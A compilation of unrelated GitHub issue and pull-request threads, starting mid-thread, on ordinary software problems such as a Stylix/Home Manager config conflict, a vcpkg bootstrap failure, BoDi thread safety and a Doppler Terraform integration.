But, it gives the same error of Conflicting managed target files: .config/lazygit/config.yml.
Questions

Is there any way around this?
Is this a problem with stylix or with home-manager?
How can this be solved?

Is this a problem with stylix or with home-manager?

It is an already acknowledged integration limitation between Stylix and Home Manager:

I wanted to override a few colors for Gnome (without recreating all the needed derivations), but it looks like that the template is hardcoded.

Ideally, we would upstream (NixOS, Home Manager, or nix-darwin) relevant options to seamlessly integrate Stylix into external Nix code.

There's this relevant thread: #159 about moving these templates out-of-tree. Would a PR for separating the mustache template to a different repo be acceptable here?

The future Vim highlight groups would allow us to get rid of mustache templates:

the roadmap eventually causes Stylix to implement all templates without relying on external dependencies
-- https://github.com/danth/stylix/issues/567#issuecomment-2403246345

[...]

Are the patches really suitable for upstreaming though? It contains a lot of stylix-specific changes, like removing dark mode. The style sheet itself is also fairly opinionated and custom, which is not something I usually see upstream.

My idea was to move our string injection architecture
xdg.configFile."<MODULE>".text = "<KEY>=<VALUE>";

upstream, and then we only use its interface:
programs.<MODLE>.extraConfig."<KEY>" = "<VALUE>";

This centralizes the string injection upstream and hopefully gets rid of override issues:

the use of extraConfig might cause other potentially related issues. As discussed in #159 (comment), it makes it harder to override options, and as discussed in #388 (comment), it makes it easier to accidentally override Stylix options.
-- https://github.com/danth/stylix/issues/395

-- NAHO, "Overriding Gnome template"

Is there any way around this?
How can this be solved?

Unless you copy-paste and slightly modify the current Stylix module implementation, I am unaware of a reliable solution before the previously mentioned limitations have been resolved. Depending on the configuration format, lib.mkAfter could be used.


bootstrap-vcpkg.bat is doing nothing - how to find the reason ?

Dear all,
history
I installed vcpkg and removed it (deleted the folder vcpkg from the file system - i had a lot of libaries installed)
Now i wanted to install a fresh vcpkg and install only the needed packages for my projects.
issue
i have followed the Quick Start on Windows and i am stucking on step 2:
.\vcpkg\bootstrap-vcpkg.bat
If i invoke the bat file - nothing happens

setup

VS 2019
Windows 10 SDK (10.0.19041.0)
MSVC v142
vcpkg-2020.11-1

How can i proceed ?
Thanks in advance

@Thaulino, the bootstrap-vcpkg.bat will help download vcpkg.exe to .\vcpkg, it may due to anti-virus software, could you close it and try again? could you also try to run the command via powershell?

hi PhoebeHui,
unfortunately i am not allowed to disable my ant-virus software.
i have enabled verbose output for the shell script.
it seems to be that somehow the vcpckg.exe was not build and finally the postbuild copy failed

SilentlyContinue
PS C:\vcpkg> $VerbosePreference = "continue"
PS C:\vcpkg> $VerbosePreference
Continue
PS C:\vcpkg> .\scripts\bootstrap.ps1
VERBOSE: Examining C:\vcpkg\scripts for .vcpkg-root
VERBOSE: Examining C:\vcpkg for .vcpkg-root - Found
VERBOSE: VS Candidates:
PreferenceWeight3::StableRelease::16.9.31129.286::C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise
PreferenceWeight3::StableRelease::16.9.31129.286::C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools
VERBOSE: Inspecting: PreferenceWeight3::StableRelease::16.9.31129.286::C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise
VERBOSE: Picking: PreferenceWeight3::StableRelease::16.9.31129.286::C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise
VERBOSE: Finding WinSDK
VERBOSE:

VERBOSE: Looking for Windows 10 SDK
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.19041.0
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.18362.0
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.19041.0
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.18362.0
VERBOSE: C:\Program Files\Windows Kits\10\Include - Not Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.19041.0
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\um\windows.h - Found
VERBOSE: C:\Program Files (x86)\Windows Kits\10\Include\10.0.18362.0\shared\sdkddkver.h - Found
VERBOSE: Found 10.0.18362.0
VERBOSE:

VERBOSE: Looking for Windows 8.1 SDK
VERBOSE: C:\Program Files\Windows Kits\8.1\Include - Not Found
VERBOSE: C:\Program Files (x86)\Windows Kits\8.1\Include - Not Found
VERBOSE:

VERBOSE: The following Windows SDKs were found:
VERBOSE: 10.0.19041.0
VERBOSE: 10.0.18362.0
VERBOSE: 10.0.19041.0
VERBOSE: 10.0.18362.0
VERBOSE: 10.0.19041.0
VERBOSE: 10.0.18362.0
VERBOSE: Perform operation 'Enumerate CimInstances' with following parameters, ''namespaceName' = root\cimv2,'className' = win32_operatingsystem'.
VERBOSE: Operation 'Enumerate CimInstances' complete.

Building vcpkg.exe ...

VERBOSE: Clean-Executing: C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\MSBuild\Current\Bin\MSBuild.exe "/p:VCPKG_VERSION=-nohash" "/p:DISABLE_METRICS=1" /p:Configuration=Release /p:Platform=x86 /p:PlatformToolset=v142 /p:TargetPlatformVersion=10.0.19041.0 /p:PreferredToolArchitecture=x64 /verbosity:minimal /m /nologo "C:\vcpkg\toolsrc\windows-bootstrap\vcpkg.vcxproj"
VERBOSE: Execution terminated with exit code 0.

Building vcpkg.exe... done.

VERBOSE: Placing vcpkg.exe in the correct location
Copy-Item : Cannot find path 'C:\vcpkg\toolsrc\windows-bootstrap\msbuild.x86.release\vcpkg.exe' because it does not exist.
At C:\vcpkg\scripts\bootstrap.ps1:433 char:1
+ Copy-Item "$vcpkgReleaseDir\vcpkg.exe" "$vcpkgRootDir\vcpkg.exe"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : ObjectNotFound: (C:\vcpkg\toolsrc\wi\u20266.release\vcpkg.exe:String) [Copy-Item], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.CopyItemCommand```

i have build vcpkg.exe by running the vs project at
C:\vcpkg\toolsrc\windows-bootstrap
in release configuration from vs
after that the postcopy does work
Building vcpkg.exe ...

VERBOSE: Clean-Executing: C:\Program Files (x86)\Microsoft Visual Studio\2019\Enterprise\MSBuild\Current\Bin\MSBuild.exe "/p:VCPKG_VERSION=-nohash" "/p:DISABLE_METRICS=1" /p:Configuration=Release /p:Platform=x86 /p:PlatformToolset=v142 /p:TargetPlatformVersion=10.0.19041.0 /p:PreferredToolArchitecture=x64 /verbosity:minimal /m /nologo "C:\vcpkg\toolsrc\windows-bootstrap\vcpkg.vcxproj"
VERBOSE: Execution terminated with exit code 0.

Building vcpkg.exe... done.

VERBOSE: Placing vcpkg.exe in the correct location

i am unsure why i have to do this maybe you are right at it is due to the anti-virus software
Now i am installing some packages with vcpckg.exe for a cmake test project.
If  i can build this project afterwords, i will close this issue.

vcpkg works 😁
i have downloaded cv2 and build a project with it


Sorting by multiple columns (multisort)

Summary
This PR introduces "multisort", a feature that allows sorting datatables by multiple columns.
Key changes in LivewireDatatable class

$sort property is now an array
Multisort can be toggled through property $multisort. Multisort is disabled by default.
$direction property in LivewireDatatable has been removed. Each column s now has its own direction, The possible values for direction are asc, desc, null. Example $sort = ['column1|asc', 'column2|desc']
New tests:
it_can_set_sort_from_property_using_column_index, it_can_set_multisort_from_property_using_array,                    it_can_set_sort_from_property_using_column_name_and_direction,                               it_can_set_sort_from_property_using_column_index_and_direction

Adds ability to sorting by multiple columns (multisort)

Adds ability to sorting by multiple columns (multisort)


implements isMousePressed()

While being exposed, it was doing nothing so I basically PR that events' logic: when mouse is pressed and over -> true, when released wherever the cursor is -> false. This method can actually be useful to tweak UX responses when syncing value of an ofParameter based element with different sources (mouse, shortcuts, data).

Sorry I missed this PR, haven't looked at this repo for too long.. And thanks for making it, merged now.


Docs: Missing descriptions for Table props

Feature Request
Problem description
The example Structured shows the parameter rowSpan and colSpan which are missing in the props documentation for Table.HeaderCell and Table.Cell.
Proposed solution
If it is ok I would create a pull request with the added properties.

We don't document HTML props (like rowSpan, colSpan) as all of them are passed down, it;s covered in our docs, see: https://react.semantic-ui.com/augmentation#unhandled-props-dom-attributes


Question: Container thread safety

Hi @gasparnagy !
I wonder if BoDi is thread-safe.
From source code it seems that BoDi is not thread safe and not support multiple parallel Resolve(..).
But Specflow is passing BoDi containers pretty freely. It's up to caller to prevent reentrancy?
If yes, let's document it

Hi @leotsarev!
Yes, you are right, probably it should be made more clear that it is not thread safe.
SpecFlow manages 4 level of contexts (and the related containers): global, test-thread, feature, scenario. The parallel execution of tests happen on the test-thread level (ie. if SpecFlow realizes that the test runner is about to execute a test on a new thread, it creates a test-thread context for it). The feature and scenario container are sub-contexts of the test-thread container, therefore they are also explicitly attached to one logical execution thread. This means, that (unless you spawn new threads within your step definition), test-thread, feature and scenario containers are not used from multiple threads.
The global context (and the related global container) is a shared resource, so therefore it is accessible from multiple threads, therefore if anyone storing any state there, the thread-safety has to be ensured somehow. The good news is that for storing global state, people can also use a simple static field so they are rarely use the global container for that.
So definitely the problem is there, but it only affects very special cases. Saying that I am happy if anyone improves the documentation regarding that, but somehow we have to highlight that for the "usual" cases (when people use test-thread, feature or scenario containers and not have multiple threads created from the binding code) the manual synchronization is not necessary.

Hi @gasparnagy !
Thanks you for this project and for your answers.
I opened PR with small comment changes #28
However, I still wondering if this is optimal solution. We now battling some thread-safety issue in Specflow, and seems that other people have this problem to: #24 (by @Greybird). I wonder if fixing it on container level (at least for Resolve) will really lead to performance degradation or code complexity.
Another question: Could you please elaborate on

unless you spawn new threads within your step definition

What is spawn new threads? Will async/await lead to problems? What we should avoid in our code to evade thread problems?
Or this questions is better suited for Specflow repository?

Another question.
Assume that X is registered in parent container per-container, and two different child containers will simultaneously try to resolve X from different threads. Should it work?
In my practice, it happened when Specflow tries to perform two ScenarioInitialize in parallel.

Hi @leotsarev .
I can confirm I have to run on a modified BoDi version with Specflow and NUnit to activate parallellism due to https://github.com/SpecFlowOSS/SpecFlow/issues/657.
This issue is due to a flaw in the Specflow/BoDi integration with regards to RuntimePlugins.
To me the simpler way is to make BoDi thread safe, and this really won't hurt IMHO, with very minimal cost, even if my #24 PR might not be the best approach for long term maintainability.
Would you be able to clarify if you are open to integrate thread-safety in BoDi, or if this will not happen, so that we can focus on alternate solutions if needed?
Thanks,

Would you be able to clarify if you are open

I'm a user of Specflow, just like you :-)
That's question better suited for @gasparnagy

That's question better suited for @gasparnagy, probably

Sorry, this was the intention, but I now realize my sentence was unclear 😄

@leotsarev @Greybird Thank you for your comments.
Two clarifications:

running the scenario async is normally not a problem, because even though there will be multiple threads allocated, there will be a single logical execution thread anyway (unless you kick off multiple parallel async tasks that use the scenario context)
If a type is registered in the global container than the object will be populated there, so parallel resolve operations from multiple sub-containers (e.g. scenario container) is definitely an issue. If the type is registered in test-thread container or below, there will be (normally) anyway one one active child, so that does not cause issues.

Related to make BoDi thread safe: I agree with you. Most probably it would not cause performance degradation. (Would be good to measure it tough.) If you feel having energy for that, I would be happy to help with reviews and comments. Fortunately the functionality is quite well covered with unit tests, so this refactoring can be done more or less in a safe way. If you make a few tests that show some of the parallel issues (we will have no chance to cover all issues, but at least 3-4 typical cases that we are aware of), than we can get a better confidence about the thread safety plus maybe we can use the same tests as a some sort of performance benchmark. (Maybe we could first duplicate the entire BoDi code file to a different namespace, so we can "easily" switch between the versions used by the tests.

Added unit test in #30

Poor man attempt in #31

For now, I figured that our problems with Specflow was caused by misconfiguration on our side. :-)
So I have no immediate pressure to fix something in BoDi, but if you think that some of suggestions/PoC is worth pursuing, I'll like to contiribute.

Hello @leotsarev , can you elaborate on the misconfiguration ?

@Greybird that's really stupid error https://github.com/SpecFlowOSS/SpecFlow/issues/1948 so I don't think it would be your case :-) We struggled with it, because it reproduced only on one machine, classic symptom of both misconfiguration and thread safety :-)


<str>.removesuffix() only available in Python3.9

This comes from
https://ask.openrouteservice.org/t/how-to-fix-this-provider-error-problem/5649/2
<str>.removesuffix() and <str>.removeprefix() are only available in Python 3.9.
I don't know which QGIS version this corresponds to - we should find that out and decide whether we want to refactor until QGIS broadly supports 3.9 or whether we keep and set a higher min version.

If the backwards compatibility is only dependent on this line why not change it to support older versions? Doesn't seem like a lot of work to me. Is there anything else problematic with newer versions?
If this only allows the Plugin to run with Python 3.9 we should probably fix this quickly, right?


window is not defined error when using postcss-import

I'm getting the following error:
 90% optimize assetsevalmachine.<anonymous>:20762
			return /msie [6-9]\b/.test(window.navigator.userAgent.toLowerCase());
			                           ^
ReferenceError: window is not defined
    at evalmachine.<anonymous>:20762:31
    at evalmachine.<anonymous>:20757:48
    at module.exports (evalmachine.<anonymous>:20778:69)
    at Object.<anonymous> (evalmachine.<anonymous>:20666:39)
    at __webpack_require__ (evalmachine.<anonymous>:30:30)
    at Object.<anonymous> (evalmachine.<anonymous>:20613:26)
    at __webpack_require__ (evalmachine.<anonymous>:30:30)
    at Object.<anonymous> (evalmachine.<anonymous>:143:20)
    at __webpack_require__ (evalmachine.<anonymous>:30:30)
    at Object.defineProperty.value (evalmachine.<anonymous>:78:15)

We do not have this code in PostCSS or postcss-loader. Why you think it is relevant?

I was thinking maybe postcss-loader needed something special to work with postcss-import. After all, you do mention the latter in your docs. Anyway! I figured it out. My bad!

Hey @levitanong what did you end up doing to fix this?

@ppiekarczyk I knew I should have documented it. I can't remember! Are you encountering this?

It had to do with server side rendering and the ExtractTextPlugin :) I didn't document it either, ha!

... I do remember ExtractTextPlugin here. I was also trying to do server side rendering when this happened.


navigate to coordinates endpoint

Prototype of /navigate?lat=LAT&long=LONG route, which triggers navigation prompt to specified coordinates for current dongle id.

Android can support this nicely via PWA manifest share_target with the addition of making a HEAD request to the URL passed in to get the lat/long of the shared location.

That's the goal. It's slightly more complicated on iOS, because it would need custom Shortcut to appear in the share sheet, but it's definitely doable.

CORS prevents me from expanding shortened gmaps url using HEAD request. Will probably need additional endpoint on backend side for that.

That is annoying, you could probably use a hidden iframe to load the URL and inspect it instead, but a new back end API endpoint may be better (may even want to use the google maps API instead of a head request).  Also, I think your url parsing for google maps is extracting the center of the map and not the coordinates of the place?


fix: pass refs to functional component stubs

Fixes #1292

This looks great. Thanks for the additional tests to cover this. I don't see any blockers to merging.


Fix maintain consistency and standards with Run and debug options

Purpose

Fixes #9295

:white_check_mark: Build ballerina-lang 179 completed (commit https://github.com/ballerina-platform/ballerina-lang/commit/193b5cce21 by @srsharon)


Doppler Integration Support

Hi! We're currently switching from Amazon Secret Manager in K8s to Fly.io and we love the doppler integration. Only thing that bugs us is the clicked state in Doppler for the integration management. I'd love to see it being supported by the Terraform provider, so we can instantly populate the integration with the fly.io token coming from their Terraform provider.

+1 for this feature. We'd love to be able to connect our Doppler configs to Github repository environment secrets using Terraform. Being able to do so would allow us to stop using the Github Terraform to manually sync from Doppler configs to Github environments.

Thanks for mentioning this, @ViacheslavKudinov! We're gradually rolling out support for other integration types. I've opened a PR for Fly.io: https://github.com/DopplerHQ/terraform-provider-doppler/pull/93


Assist notification when web3.eth.sendTransaction to send ETH to fallback function?

I'm not calling contract method.
I'm just sending ETH to contract address.
Maybe display notifications too?

I'd like to call the callback function to get nice messages, but not sure how: https://ethereum.stackexchange.com/questions/16616/how-to-trigger-contract-fallback-function-from-javascript
Here they suggest just sendTransaction 🤷♂

I think this can be achieved with assist.Transaction() but I'll let @aaronbarnardsound chime in.
https://github.com/blocknative/assist#transactiontxobject--callback

Yes @morelazers is correct. You can use assist.Transaction(txOptions) to send a transaction. txOptions is a JavaScript object that you would include to and value properties:
assist.Transaction({
  to:  // the address of the contract you want to send value to,
  value: // the value in `wei` that you would like to send
})

Thank you!


Refactor description

Changed Table::describe with Table::statistics.
Removed Column::describe, and added stats::describe and stats::n_largest_count in stats.rs which was separated from table.rs.
Description was deposed into Description and NLargestCount.
Changed tuple with struct for elements of top N because openapi does not support tuple.
Table::statistics calls both stats::describe and stats::n_largest_count as the latter requires the former being called in order not to perform getting minimum and maximum values again.
Removed default const values.

No need to support openapi, so close this.